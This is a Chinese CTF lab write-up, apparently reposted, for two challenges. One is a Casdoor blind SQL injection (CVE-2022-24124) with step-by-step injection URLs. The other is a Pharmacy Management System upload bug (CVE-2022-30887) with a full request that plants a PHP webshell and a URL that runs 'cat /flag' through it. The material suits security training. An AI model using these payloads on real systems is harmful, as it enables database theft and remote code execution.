春秋云境:CVE-2022-24124

Posted Acczdy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了春秋云境:CVE-2022-24124相关的知识,希望对你有一定的参考价值。

春秋云境:CVE-2022-24124

文章合集春秋云境系列靶场记录(合集)


Casdoor api get-oraganizations SQL注入:CVE-2022-24124

漏洞介绍

Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台,带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞,该漏洞允许攻击者通过api/get-organizations进行攻击。


解题步骤

题外话

这个题做了很久,没找到简单的方法,网上找到了POC,确实存在漏洞,但是没法获取flag,尝试进行DNS外带,但是没成功,可能自己写错语句了,不过没关系,工具做不出来我手注,花了很久时间,出了很多问题,终于成功了,以下进入正题,如果想自己学习手注的话可以自己做哈,就不用看下面的了,直接参考这个链接里的做:https://github.com/casdoor/casdoor/pull/442
今天更新一下这个文章,把上次做的过程梳理出来了,下面是我跑数据的内容,可以参考

  1. 访问URL,通过网上查找到的poc测试存在注入
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring(user(),1,1) = 'r') <> name

  1. 注入过程不多写,数据库:casdoor,表:flag,列:flag(有两列,第一列是id),注入测试数据:
查个数:4个数据库
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20count(schema_name)%20from%20information_schema.schemata),1,1) = '4') <> name

第4个数据库第1个字母:c
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20schema_name%20from%20information_schema.schemata%20limit%203,1),1,1) = 'i') <> name
爆破出数据库为:casdoor
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20schema_name%20from%20information_schema.schemata%20limit%203,1),1,6) = 'casdoor') <> name

查表1名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,11) = 'application') <> name

查表2名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1) = 'a') <> name
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,4) = 'role') <> name

查表4名:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1,4) = 'flag') <> name

查列数:2列
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20count(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='flag'),1,1) = 'i') <> name
查第一列列名:id
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20column_name%20from%20information_schema.columns%20where%20table_schema='casdoor'%20and%20table_name='flag'%20limit%200,1),1,1) = 'i') <> name
查询id列数据:1
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20group_concat(id)%20from%20flag),1,1)%20=%20%27i%27)%20<>%20name
查第二列列名:flag
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select%20column_name%20from%20information_schema.columns%20where%20table_schema='casdoor'%20and%20table_name='flag'%20limit%201,1),1,1) = 'i') <> name
查询flag列数据:flagb
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(substring((select group_concat(flag) from flag),§7§,1) = '§a§') <> name

最后一个查询flag数据的时候
第一个变量为1-65个数字
第二个变量为"abcdefghijklmnopqrstuvwxyz0123456789_-!@#$^&*()_+[]|\\:";',./<>?"

  1. 获得flag

  2. 最后爆破出了数据后,需要将Intruder的数据导出

  3. 导出为Excel后,筛选出长度为正确的,此处为1480

  4. 在将数据筛选出来后按照payload1进行排序

  5. 复制flag,然后在旁边进行粘贴

文章合集春秋云境系列靶场记录(合集)

春秋云境:CVE-2022-30887

春秋云境:CVE-2022-30887

文章合集春秋云境系列靶场记录(合集)


Pharmacy Management System文件上传漏洞:CVE-2022-30887

漏洞介绍

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。


解题步骤

题外话:
做此题过程中前期没有任何思路,通过CSDN获取到一个POC,经过测试可以利用,最后重新收集了一下信息,终于找到了官方的POC,同时也找到另一个大哥给出的思路,拿到了登录的账号信息,信息都在下面有展示:

  1. 访问URL

  2. 可以通过账号/密码登录:mayuri.infospace@gmail.com/mayurik,收集的信息在此处:https://www.yuque.com/jiryu/yz4rcd/tcug0q,同时感谢这位大哥的思路,文章地址:https://blog.csdn.net/weixin_44030810/article/details/127392107

  3. 登陆后就可以进行任意的文件上传,此处选择图中位置对文件进行上传并抓包,修改文件名和文件内容:

  4. 上传成功后查看图片地址并访问,此时要修改文件名为刚才上传修改后的文件名:

  5. 需要获取flag的话可以将刚才的phpinfo修改为其他shell命令


  1. 另一种做法是参考官方POC,官方POC信息在此处:
https://nvd.nist.gov/vuln/detail/CVE-2022-30887#match-7988813
https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html
  1. 构造数据包:
POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: eci-2ze7ntvll5ye8fxnoc64.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 479
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"


-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="test.php"
Content-Type: image/jpeg

<?php
	system($_GET[1]);
?>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"


-----------------------------208935235035266125502673738631--

  1. 上传成功,官方POC也给出了图片路径,访问shell并获取flag:http://eci-2ze7ntvll5ye8fxnoc64.cloudeci1.ichunqiu.com/assets/myimages/test.php?1=cat%20/flag

文章合集春秋云境系列靶场记录(合集)

以上是关于春秋云境:CVE-2022-24124的主要内容,如果未能解决你的问题,请参考以下文章

春秋云境 CVE-2022-24663复现

春秋云境CVE-2022-32991靶场wp

安全-网站综合渗透实验(i春秋)

i春秋四周年庆典狂欢丨价值6000元的Web安全课程免费送啦

i春秋首届全国数据安全大赛部分复盘

安全-RSA(i春秋)